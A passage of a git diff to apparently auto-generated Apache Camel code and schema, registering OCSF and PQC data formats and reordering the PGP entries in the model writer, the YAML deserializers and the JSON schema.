doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -3740,7 +3742,10 @@ public class ModelWriter extends BaseWriter { case "JsonApiDataFormat" -> doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v); case "LZFDataFormat" -> doWriteLZFDataFormat("lzf", (LZFDataFormat) v); case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); + case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -3754,7 +3759,6 @@ public class ModelWriter extends BaseWriter { case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); diff --git a/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java b/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java index 1029134be5bb..b682236ce98c 100644 --- a/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java +++ b/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java @@ -3598,8 +3598,10 @@ public final class ModelDeserializers extends YamlDeserializerSupport { @YamlProperty(name = "lzf", type = "object:org.apache.camel.model.dataformat.LZFDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "mimeMultipart", type = "object:org.apache.camel.model.dataformat.MimeMultipartDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "name", type = "string", description = "Set the transformer name under which the transformer gets referenced when specifying the input/output data type on routes. If you specify a transformer name that matches a data type scheme like 'csv' the transformer will be picked up for all of 'csv:' from/to Java transformation. Note that the scheme matching is performed only when no exactly matched transformer exists.", displayName = "Name"), + @YamlProperty(name = "ocsf", type = "object:org.apache.camel.model.dataformat.OcsfDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "parquetAvro", type = "object:org.apache.camel.model.dataformat.ParquetAvroDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "pgp", type = "object:org.apache.camel.model.dataformat.PGPDataFormat", oneOf = "dataFormatType"), + @YamlProperty(name = "pqc", type = "object:org.apache.camel.model.dataformat.PQCDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "protobuf", type = "object:org.apache.camel.model.dataformat.ProtobufDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "rss", type = "object:org.apache.camel.model.dataformat.RssDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "scheme", type = "string", description = "Set a scheme name supported by the transformer. If you specify 'csv', the transformer will be picked up for all of 'csv' from/to Java transformation. Note that the scheme matching is performed only when no exactly matched transformer exists.", displayName = "Scheme"), @@ -3775,11 +3777,26 @@ public final class ModelDeserializers extends YamlDeserializerSupport { target.setDataFormatType(val); break; } + case "ocsf": { + org.apache.camel.model.dataformat.OcsfDataFormat val = asType(node, org.apache.camel.model.dataformat.OcsfDataFormat.class); + target.setDataFormatType(val); + break; + } case "parquetAvro": { org.apache.camel.model.dataformat.ParquetAvroDataFormat val = asType(node, org.apache.camel.model.dataformat.ParquetAvroDataFormat.class); target.setDataFormatType(val); break; } + case "pgp": { + org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); + target.setDataFormatType(val); + break; + } + case "pqc": { + org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); + target.setDataFormatType(val); + break; + } case "protobuf": { org.apache.camel.model.dataformat.ProtobufDataFormat val = asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class); target.setDataFormatType(val); @@ -3845,11 +3862,6 @@ public final class ModelDeserializers extends YamlDeserializerSupport { target.setDataFormatType(val); break; } - case "pgp": { - org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); - target.setDataFormatType(val); - break; - } case "yaml": { org.apache.camel.model.dataformat.YAMLDataFormat val = asType(node, org.apache.camel.model.dataformat.YAMLDataFormat.class); target.setDataFormatType(val); @@ -3928,8 +3940,10 @@ public final class ModelDeserializers extends YamlDeserializerSupport { @YamlProperty(name = "jsonApi", type = "object:org.apache.camel.model.dataformat.JsonApiDataFormat"), @YamlProperty(name = "lzf", type = "object:org.apache.camel.model.dataformat.LZFDataFormat"), @YamlProperty(name = "mimeMultipart", type = "object:org.apache.camel.model.dataformat.MimeMultipartDataFormat"), + @YamlProperty(name = "ocsf", type = "object:org.apache.camel.model.dataformat.OcsfDataFormat"), @YamlProperty(name = "parquetAvro", type = "object:org.apache.camel.model.dataformat.ParquetAvroDataFormat"), @YamlProperty(name = "pgp", type = "object:org.apache.camel.model.dataformat.PGPDataFormat"), + @YamlProperty(name = "pqc", type = "object:org.apache.camel.model.dataformat.PQCDataFormat"), @YamlProperty(name = "protobuf", type = "object:org.apache.camel.model.dataformat.ProtobufDataFormat"), @YamlProperty(name = "rss", type = "object:org.apache.camel.model.dataformat.RssDataFormat"), @YamlProperty(name = "smooks", type = "object:org.apache.camel.model.dataformat.SmooksDataFormat"), @@ -4238,6 +4252,16 @@ public final class ModelDeserializers extends YamlDeserializerSupport { target.setDataFormats(existing); break; } + case "ocsf": { + org.apache.camel.model.dataformat.OcsfDataFormat val = asType(node, org.apache.camel.model.dataformat.OcsfDataFormat.class); + java.util.List<org.apache.camel.model.DataFormatDefinition> existing = target.getDataFormats(); + if (existing == null) { + existing = new java.util.ArrayList<>(); + } + existing.add(val); + target.setDataFormats(existing); + break; + } case "parquetAvro": { org.apache.camel.model.dataformat.ParquetAvroDataFormat val = asType(node, org.apache.camel.model.dataformat.ParquetAvroDataFormat.class); java.util.List<org.apache.camel.model.DataFormatDefinition> existing = target.getDataFormats(); @@ -4258,6 +4282,16 @@ public final class ModelDeserializers extends YamlDeserializerSupport { target.setDataFormats(existing); break; } + case "pqc": { + org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); + java.util.List<org.apache.camel.model.DataFormatDefinition> existing = target.getDataFormats(); + if (existing == null) { + existing = new java.util.ArrayList<>(); + } + existing.add(val); + target.setDataFormats(existing); + break; + } case "protobuf": { org.apache.camel.model.dataformat.ProtobufDataFormat val = asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class); java.util.List<org.apache.camel.model.DataFormatDefinition> existing = target.getDataFormats(); @@ -10175,6 +10209,16 @@ public final class ModelDeserializers extends YamlDeserializerSupport { target.setDataFormatType(val); break; } + case "pgp": { + org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); + target.setDataFormatType(val); + break; + } + case "pqc": { + org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); + target.setDataFormatType(val); + break; + } case "protobuf": { org.apache.camel.model.dataformat.ProtobufDataFormat val = asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class); target.setDataFormatType(val); @@ -10240,16 +10284,6 @@ public final class ModelDeserializers extends YamlDeserializerSupport { target.setDataFormatType(val); break; } - case "pgp": { - org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); - target.setDataFormatType(val); - break; - } - case "pqc": { - org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); - target.setDataFormatType(val); - break; - } case "yaml": { org.apache.camel.model.dataformat.YAMLDataFormat val = asType(node, org.apache.camel.model.dataformat.YAMLDataFormat.class); target.setDataFormatType(val); @@ -20901,6 +20935,16 @@ public final class ModelDeserializers extends YamlDeserializerSupport { target.setDataFormatType(val); break; } + case "pgp": { + org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); + target.setDataFormatType(val); + break; + } + case "pqc": { + org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); + target.setDataFormatType(val); + break; + } case "protobuf": { org.apache.camel.model.dataformat.ProtobufDataFormat val = asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class); target.setDataFormatType(val); @@ -20966,16 +21010,6 @@ public final class ModelDeserializers extends YamlDeserializerSupport { target.setDataFormatType(val); break; } - case "pgp": { - org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); - target.setDataFormatType(val); - break; - } - case "pqc": { - org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); - target.setDataFormatType(val); - break; - } case "yaml": { org.apache.camel.model.dataformat.YAMLDataFormat val = asType(node, org.apache.camel.model.dataformat.YAMLDataFormat.class); target.setDataFormatType(val); diff --git a/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json b/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json index d736cb347d68..a2d5e3f5b63f 100644 --- a/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json +++ b/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json @@ -11372,12 +11372,18 @@ "mimeMultipart" : { "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.MimeMultipartDataFormat" }, + "ocsf" : { + "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.OcsfDataFormat" + }, "parquetAvro" : { "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.ParquetAvroDataFormat" }, "pgp" : { "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.PGPDataFormat" }, + "pqc" : { + "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.PQCDataFormat" + }, "protobuf" : { "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.ProtobufDataFormat" }, @@ -17574,10 +17580,14 @@ "required" : [ "lzf" ] }, { "required" : [ "mimeMultipart" ] + }, { + "required" : [ "ocsf" ] }, { "required" : [ "parquetAvro" ] }, { "required" : [ "pgp" ] + }, { + "required" : [ "pqc" ] }, { "required" : [ "protobuf" ] }, { @@ -17820,6 +17830,14 @@ "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.MimeMultipartDataFormat" } } + }, { + "type" : "object", + "required" : [ "ocsf" ], + "properties" : { + "ocsf" : { + "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.OcsfDataFormat" + } + } }, { "type" : "object", "required" : [ "parquetAvro" ], @@ -17836,6 +17854,14 @@ "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.PGPDataFormat" } } + }, { + "type" : "object", + "required" : [ "pqc" ], + "properties" : { + "pqc" : { + "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.PQCDataFormat" + } + } }, { "type" : "object", "required" : [ "protobuf" ], @@ -18014,8 +18040,10 @@ "jsonApi" : { }, "lzf" : { }, "mimeMultipart" : { }, + "ocsf" : { }, "parquetAvro" : { }, "pgp" : { }, + "pqc" : { }, "protobuf" : { }, "rss" : { }, "smooks" : { },
